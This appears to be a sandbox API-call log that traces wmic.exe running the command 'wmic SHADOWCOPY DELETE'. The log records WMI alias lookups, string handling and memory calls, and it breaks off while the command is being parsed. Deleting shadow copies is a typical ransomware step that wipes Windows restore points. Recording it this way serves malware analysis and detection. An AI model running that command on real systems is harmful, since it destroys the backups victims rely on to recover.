SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.819] SysStringLen (param_1="XML") returned 0x3 [0098.819] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.819] SysStringLen (param_1="texttablewsys") returned 0xd [0098.819] SysStringLen (param_1="XML") returned 0x3 [0098.820] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.820] malloc (_Size=0x30) returned 0x2a2eed2a6d0 [0098.820] malloc (_Size=0x18) returned 0x2a2eed2de50 [0098.820] free (_Block=0x2a2eed2de50) [0098.820] malloc (_Size=0x18) returned 0x2a2eed2db30 [0098.820] malloc (_Size=0x18) returned 0x2a2eed2db90 [0098.820] SysStringLen (param_1="htable-sortby") returned 0xd [0098.820] SysStringLen (param_1="TABLE") returned 0x5 [0098.820] SysStringLen (param_1="htable-sortby") returned 0xd [0098.820] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.820] SysStringLen (param_1="htable-sortby") returned 0xd [0098.820] SysStringLen (param_1="XML") returned 0x3 [0098.820] SysStringLen (param_1="htable-sortby") returned 0xd [0098.820] SysStringLen (param_1="texttablewsys") returned 0xd [0098.820] SysStringLen (param_1="htable-sortby") returned 0xd [0098.820] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.820] SysStringLen (param_1="XML") returned 0x3 [0098.820] SysStringLen (param_1="htable-sortby") returned 0xd [0098.820] malloc (_Size=0x30) returned 0x2a2eed2ac90 [0098.820] malloc (_Size=0x18) returned 0x2a2eed2e010 [0098.820] free (_Block=0x2a2eed2e010) [0098.820] malloc (_Size=0x18) returned 0x2a2eed2dd30 [0098.820] malloc (_Size=0x18) returned 0x2a2eed2def0 [0098.821] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.821] SysStringLen (param_1="TABLE") returned 0x5 [0098.821] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.821] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.821] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.821] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.821] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.821] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.821] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.821] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.821] malloc (_Size=0x30) returned 0x2a2eed2a790 [0098.821] malloc (_Size=0x18) returned 0x2a2eed2e130 [0098.821] free (_Block=0x2a2eed2e130) [0098.821] malloc (_Size=0x18) returned 0x2a2eed2df90 [0098.821] malloc (_Size=0x18) returned 0x2a2eed2dd90 [0098.821] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.821] SysStringLen (param_1="TABLE") returned 0x5 [0098.821] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.821] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.821] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.821] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.821] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.821] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.821] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.821] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.821] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.821] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.821] malloc (_Size=0x30) returned 0x2a2eed2a810 [0098.822] malloc (_Size=0x18) returned 0x2a2eed2dc90 [0098.822] free (_Block=0x2a2eed2dc90) [0098.822] malloc (_Size=0x18) returned 0x2a2eed2e010 [0098.822] malloc (_Size=0x18) returned 0x2a2eed2ddf0 [0098.822] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.822] SysStringLen (param_1="TABLE") returned 0x5 [0098.822] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.822] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.822] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.822] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.822] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.822] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.822] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.822] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.822] malloc (_Size=0x30) returned 0x2a2eed2aa10 [0098.822] malloc (_Size=0x18) returned 0x2a2eed2ddb0 [0098.822] free (_Block=0x2a2eed2ddb0) [0098.822] malloc (_Size=0x18) returned 0x2a2eed2df10 [0098.822] malloc (_Size=0x18) returned 0x2a2eed2e130 [0098.822] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.822] SysStringLen (param_1="TABLE") returned 0x5 [0098.822] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.822] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.822] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.822] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.823] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.823] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.823] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.823] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.823] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.823] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.823] malloc (_Size=0x30) returned 0x2a2eed2acd0 [0098.823] FreeThreadedDOMDocument:IUnknown:Release (This=0x2a2ef3e94b0) returned 0x1 [0098.823] FreeThreadedDOMDocument:IUnknown:Release (This=0x2a2ef3e6f20) returned 0x0 [0098.823] free (_Block=0x2a2eed2b260) [0098.823] GetCommandLineW () returned="wmic SHADOWCOPY DELETE" [0098.854] malloc (_Size=0x30) returned 0x2a2eed2a890 [0098.854] memcpy_s (in: _Destination=0x2a2eed2a890, _DestinationSize=0x2e, _Source=0x2a2eedb21ac, _SourceSize=0x2e | out: _Destination=0x2a2eed2a890) returned 0x0 [0098.854] malloc (_Size=0x18) returned 0x2a2eed2d9f0 [0098.854] malloc (_Size=0x18) returned 0x2a2eed2e150 [0098.854] malloc (_Size=0x18) returned 0x2a2eed2d9d0 [0098.854] malloc (_Size=0x18) returned 0x2a2eed2da50 [0098.854] malloc (_Size=0x80) returned 0x2a2eed2b560 [0098.854] GetLocalTime (in: lpSystemTime=0xadcc10f558 | out: lpSystemTime=0xadcc10f558*(wYear=0x7e3, wMonth=0x5, wDayOfWeek=0x6, wDay=0x4, wHour=0x9, wMinute=0xe, wSecond=0xd, wMilliseconds=0x350)) [0098.854] _vsnwprintf (in: _Buffer=0x2a2eed2b560, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0xadcc10f408 | out: _Buffer="05-04-2019T09:14:13") returned 19 [0098.854] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0098.854] malloc (_Size=0x28) returned 0x2a2eed26150 [0098.854] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0098.854] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0098.854] malloc (_Size=0x28) returned 0x2a2eed2e190 [0098.854] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0098.854] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0098.854] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0098.855] malloc (_Size=0x16) returned 0x2a2eed2e050 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] _wcsicmp (_String1="SHADOWCOPY", _String2="\"NULL\"") returned 81 [0098.855] malloc (_Size=0x16) returned 0x2a2eed2dbb0 [0098.855] malloc (_Size=0x8) returned 0x2a2eed2e1c0 [0098.855] free (_Block=0x0) [0098.855] free (_Block=0x2a2eed2e050) [0098.855] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0098.855] malloc (_Size=0xe) returned 0x2a2eed2dfb0 [0098.855] lstrlenW (lpString="DELETE") returned 6 [0098.855] _wcsicmp (_String1="DELETE", _String2="\"NULL\"") returned 66 [0098.855] malloc (_Size=0xe) returned 0x2a2eed2da10 [0098.855] malloc (_Size=0x10) returned 0x2a2eed2daf0 [0098.855] memmove_s (in: _Destination=0x2a2eed2daf0, _DestinationSize=0x8, _Source=0x2a2eed2e1c0, _SourceSize=0x8 | out: _Destination=0x2a2eed2daf0) returned 0x0 [0098.855] free (_Block=0x2a2eed2e1c0) [0098.855] free (_Block=0x0) [0098.855] free (_Block=0x2a2eed2dfb0) [0098.855] malloc (_Size=0x10) returned 0x2a2eed2dd70 [0098.855] lstrlenW (lpString="QUIT") returned 4 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0098.855] lstrlenW (lpString="EXIT") returned 4 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0098.855] free (_Block=0x2a2eed2dd70) [0098.855] WbemLocator:IUnknown:AddRef (This=0x2a2eedcc190) returned 0x2 [0098.855] malloc (_Size=0x10) returned 0x2a2eed2dc50 [0098.855] lstrlenW (lpString="/") returned 1 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0098.855] lstrlenW (lpString="-") returned 1 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0098.855] lstrlenW (lpString="CLASS") returned 5 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0098.855] lstrlenW (lpString="PATH") returned 4 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0098.855] lstrlenW (lpString="CONTEXT") returned 7 [0098.855] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0098.856] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.856] malloc (_Size=0x16) returned 0x2a2eed2dad0 [0098.856] lstrlenW (lpString="SHADOWCOPY") returned 10 [0098.856] GetCurrentThreadId () returned 0xf30 [0098.856] ??0CHString@@QEAA@XZ () returned 0xadcc10f2c0 [0098.856] malloc (_Size=0x18) returned 0x2a2eed2da30 [0098.856] malloc (_Size=0x18) returned 0x2a2eed2de10 [0098.856] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2a2eedcc190, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff7769c7898 | out: ppNamespace=0x7ff7769c7898*=0x2a2eee26170) returned 0x0 [0101.739] free (_Block=0x2a2eed2de10) [0101.739] free (_Block=0x2a2eed2da30) [0101.739] CoSetProxyBlanket (pProxy=0x2a2eee26170, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0101.739] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.740] GetCurrentThreadId () returned 0xf30 [0101.740] ??0CHString@@QEAA@XZ () returned 0xadcc10f158 [0101.740] malloc (_Size=0x18) returned 0x2a2eed2dcf0 [0101.740] malloc (_Size=0x18) returned 0x2a2eed2ded0 [0101.740] malloc (_Size=0x18) returned 0x2a2eed2dc70 [0101.740] malloc (_Size=0x18) returned 0x2a2eed2dff0 [0101.740] SysStringLen (param_1="root\\cli") returned 0x8 [0101.740] SysStringLen (param_1="\\") returned 0x1 [0101.740] malloc (_Size=0x18) returned 0x2a2eed2e110 [0101.740] SysStringLen (param_1="root\\cli\\") returned 0x9 [0101.740] SysStringLen (param_1="ms_409") returned 0x6 [0101.740] free (_Block=0x2a2eed2dff0) [0101.740] free (_Block=0x2a2eed2dc70) [0101.740] free (_Block=0x2a2eed2ded0) [0101.740] free (_Block=0x2a2eed2dcf0) [0101.740] malloc (_Size=0x18) returned 0x2a2eed2da90 [0101.740] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2a2eedcc190, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff7769c78a0 | out: ppNamespace=0x7ff7769c78a0*=0x2a2eee269e0) returned 0x0 [0101.812] free (_Block=0x2a2eed2da90) [0101.812] free (_Block=0x2a2eed2e110) [0101.812] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.812] GetCurrentThreadId () returned 0xf30 [0101.813] ??0CHString@@QEAA@XZ () returned 0xadcc10f2d8 [0101.813] malloc (_Size=0x18) returned 0x2a2eed2dbd0 [0101.813] malloc (_Size=0x18) returned 0x2a2eed2dcb0 [0101.813] malloc (_Size=0x18) returned 0x2a2eed2da30 [0101.813] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0101.813] malloc (_Size=0x3a) returned 0x2a2eed2ec80 [0101.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff7769aac40, cbMultiByte=-1, lpWideCharStr=0x2a2eed2ec80, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0101.813] free (_Block=0x2a2eed2ec80) [0101.813] malloc (_Size=0x18) returned 0x2a2eed2df50 [0101.813] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0101.813] SysStringLen (param_1="SHADOWCOPY") returned 0xa [0101.813] malloc (_Size=0x18) returned 0x2a2eed2deb0 [0101.813] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='SHADOWCOPY") returned 0x26 [0101.813] SysStringLen (param_1="'") returned 0x1 [0101.813] free (_Block=0x2a2eed2df50) [0101.813] free (_Block=0x2a2eed2da30) [0101.813] free (_Block=0x2a2eed2dcb0) [0101.813] free (_Block=0x2a2eed2dbd0) [0101.813] IWbemServices:GetObject (in: This=0x2a2eee26170, strObjectPath="MSFT_CliAlias.FriendlyName='SHADOWCOPY'", lFlags=0, pCtx=0x0, ppObject=0xadcc10f200*=0x0, ppCallResult=0x0 | out: ppObject=0xadcc10f200*=0x2a2eee39c10, ppCallResult=0x0) returned 0x0 [0101.942] malloc (_Size=0x18) returned 0x2a2eed2dcb0 [0101.942] IWbemClassObject:Get (in: This=0x2a2eee39c10, wszName="Target", lFlags=0, pVal=0xadcc10f218*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f218*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.943] free (_Block=0x2a2eed2dcb0) [0101.943] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0101.943] malloc (_Size=0x3e) returned 0x2a2eed2ec80 [0101.943] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0101.943] malloc (_Size=0x18) returned 0x2a2eed2da30 [0101.943] IWbemClassObject:Get (in: This=0x2a2eee39c10, wszName="PWhere", lFlags=0, pVal=0xadcc10f218*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f218*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.943] free (_Block=0x2a2eed2da30) [0101.943] lstrlenW (lpString=" Where ID = '#'") returned 15 [0101.943] malloc (_Size=0x20) returned 0x2a2eed2ecd0 [0101.943] lstrlenW (lpString=" Where ID = '#'") returned 15 [0101.944] malloc (_Size=0x18) returned 0x2a2eed2da90 [0101.944] IWbemClassObject:Get (in: This=0x2a2eee39c10, wszName="Connection", lFlags=0, pVal=0xadcc10f218*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f218*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a2eee39ec0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.944] free (_Block=0x2a2eed2da90) [0101.944] IUnknown:QueryInterface (in: This=0x2a2eee39ec0, riid=0x7ff7769b0598*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0xadcc10f208 | out: ppvObject=0xadcc10f208*=0x2a2eee39ec0) returned 0x0 [0101.944] GetCurrentThreadId () returned 0xf30 [0101.944] ??0CHString@@QEAA@XZ () returned 0xadcc10f128 [0101.944] malloc (_Size=0x18) returned 0x2a2eed2db50 [0101.944] IWbemClassObject:Get (in: This=0x2a2eee39ec0, wszName="Namespace", lFlags=0, pVal=0xadcc10f130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f130*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.944] free (_Block=0x2a2eed2db50) [0101.944] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0101.944] malloc (_Size=0x16) returned 0x2a2eed2dd10 [0101.944] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0101.944] malloc (_Size=0x18) returned 0x2a2eed2da30 [0101.944] IWbemClassObject:Get (in: This=0x2a2eee39ec0, wszName="Locale", lFlags=0, pVal=0xadcc10f130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a2eee16f58, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f130*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.944] free (_Block=0x2a2eed2da30) [0101.944] lstrlenW (lpString="ms_409") returned 6 [0101.944] malloc (_Size=0xe) returned 0x2a2eed2dbd0 [0101.945] lstrlenW (lpString="ms_409") returned 6 [0101.945] malloc (_Size=0x18) returned 0x2a2eed2e050 [0101.945] IWbemClassObject:Get (in: This=0x2a2eee39ec0, wszName="User", lFlags=0, pVal=0xadcc10f130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a2eee16f58, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f130*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.945] free (_Block=0x2a2eed2e050) [0101.945] malloc (_Size=0x18) returned 0x2a2eed2dc10 [0101.945] IWbemClassObject:Get (in: This=0x2a2eee39ec0, wszName="Password", lFlags=0, pVal=0xadcc10f130*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f130*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.945] free (_Block=0x2a2eed2dc10) [0101.945] malloc (_Size=0x18) returned 0x2a2eed2dff0 [0101.945] IWbemClassObject:Get (in: This=0x2a2eee39ec0, wszName="Server", lFlags=0, pVal=0xadcc10f130*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f130*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.945] free (_Block=0x2a2eed2dff0) [0101.945] lstrlenW (lpString=".") returned 1 [0101.945] malloc (_Size=0x4) returned 0x2a2eed2ed00 [0101.945] lstrlenW (lpString=".") returned 1 [0101.945] malloc (_Size=0x18) returned 0x2a2eed2df50 [0101.945] IWbemClassObject:Get (in: This=0x2a2eee39ec0, wszName="Authority", lFlags=0, pVal=0xadcc10f130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a2eee16f58, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f130*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.945] free (_Block=0x2a2eed2df50) [0101.946] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.946] IUnknown:Release (This=0x2a2eee39ec0) returned 0x1 [0101.946] GetCurrentThreadId () returned 0xf30 [0101.946] ??0CHString@@QEAA@XZ () returned 0xadcc10f128 [0101.946] malloc (_Size=0x18) returned 0x2a2eed2dff0 [0101.946] IWbemClassObject:Get (in: This=0x2a2eee39c10, wszName="__RELPATH", lFlags=0, pVal=0xadcc10f138*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f138*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.946] free (_Block=0x2a2eed2dff0) [0101.946] malloc (_Size=0x18) returned 0x2a2eed2e050 [0101.946] GetCurrentThreadId () returned 0xf30 [0101.946] ??0CHString@@QEAA@XZ () returned 0xadcc10eff8 [0101.946] ??0CHString@@QEAA@PEBG@Z () returned 0xadcc10f010 [0101.946] ??0CHString@@QEAA@AEBV0@@Z () returned 0xadcc10ef88 [0101.946] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0101.946] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x2a2eed2ed20 [0101.946] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0101.946] ?Left@CHString@@QEBA?AV1@H@Z () returned 0xadcc10ef98 [0101.946] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0xadcc10ef90 [0101.946] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0xadcc10f010 [0101.946] ??1CHString@@QEAA@XZ () returned 0x1 [0101.946] ??1CHString@@QEAA@XZ () returned 0x1 [0101.946] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0xadcc10ef60 [0101.947] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0xadcc10ef88 [0101.947] ??1CHString@@QEAA@XZ () returned 0x1 [0101.947] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x2a2eed2ed90 [0101.947] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0101.947] ?Left@CHString@@QEBA?AV1@H@Z () returned 0xadcc10ef98 [0101.947] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0xadcc10ef90 [0101.947] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0xadcc10f010 [0101.947] ??1CHString@@QEAA@XZ () returned 0x1 [0101.947] ??1CHString@@QEAA@XZ () returned 0x1 [0101.947] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0xadcc10ef60 [0101.947] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0xadcc10ef88 [0101.947] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.947] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7ff9295f6740 [0101.947] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.947] malloc (_Size=0x18) returned 0x2a2eed2da30 [0101.947] malloc (_Size=0x18) returned 0x2a2eed2ddd0 [0101.947] malloc (_Size=0x18) returned 0x2a2eed2e0f0 [0101.947] malloc (_Size=0x18) returned 0x2a2eed2df50 [0101.947] malloc (_Size=0x18) returned 0x2a2eed2da70 [0101.948] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0101.948] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0101.948] malloc (_Size=0x18) returned 0x2a2eed2da90 [0101.948] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0101.948] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0101.948] malloc (_Size=0x18) returned 0x2a2eed2dff0 [0101.948] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0101.948] SysStringLen (param_1="\"") returned 0x1 [0101.948] free (_Block=0x2a2eed2da90) [0101.948] free (_Block=0x2a2eed2da70) [0101.948] free (_Block=0x2a2eed2df50) [0101.948] free (_Block=0x2a2eed2e0f0) [0101.948] free (_Block=0x2a2eed2ddd0) [0101.948] free (_Block=0x2a2eed2da30) [0101.948] IWbemServices:GetObject (in: This=0x2a2eee269e0, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0xadcc10efd8*=0x0, ppCallResult=0x0 | out: ppObject=0xadcc10efd8*=0x2a2eee3a4a0, ppCallResult=0x0) returned 0x0 [0101.963] malloc (_Size=0x18) returned 0x2a2eed2dfb0 [0101.963] IWbemClassObject:Get (in: This=0x2a2eee3a4a0, wszName="Text", lFlags=0, pVal=0xadcc10f020*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xadcc10f020*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a2eee1c350*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x2a2eee17dc0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0101.963] free (_Block=0x2a2eed2dfb0) [0101.963] SafeArrayGetLBound (in: psa=0x2a2eee1c350, nDim=0x1, plLbound=0xadcc10efec | out: plLbound=0xadcc10efec) returned 0x0 [0101.963] SafeArrayGetUBound (in: psa=0x2a2eee1c350, nDim=0x1, plUbound=0xadcc10eff0 | out: plUbound=0xadcc10eff0) returned 0x0 [0101.964] SafeArrayGetElement (in: psa=0x2a2eee1c350, rgIndices=0xadcc10efe8, pv=0xadcc10f000 | out: pv=0xadcc10f000) returned 0x0 [0101.964] malloc (_Size=0x18) returned 0x2a2eed2ded0 [0101.964] malloc (_Size=0x18) returned 0x2a2eed2de90 [0101.964] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0101.964] free (_Block=0x2a2eed2ded0) [0101.964] IUnknown:Release (This=0x2a2eee3a4a0) returned 0x0 [0101.964] free (_Block=0x2a2eed2dff0) [0101.964] ??1CHString@@QEAA@XZ () returned 0x1 [0101.964] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.964] free (_Block=0x2a2eed2e050) [0101.964] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.964] lstrlenW (lpString="Shadow copy management.") returned 23 [0101.964] malloc (_Size=0x30) returned 0x2a2eed2aa50 [0101.964] lstrlenW (lpString="Shadow copy management.") returned 23 [0101.964] free (_Block=0x2a2eed2de90) [0101.964] IUnknown:Release (This=0x2a2eee39c10) returned 0x0 [0101.966] free (_Block=0x2a2eed2deb0) [0101.966] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.966] lstrlenW (lpString="PATH") returned 4 [0101.966] lstrlenW (lpString="DELETE") returned 6 [0101.966] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0101.966] lstrlenW (lpString="WHERE") returned 5 [0101.966] lstrlenW (lpString="DELETE") returned 6 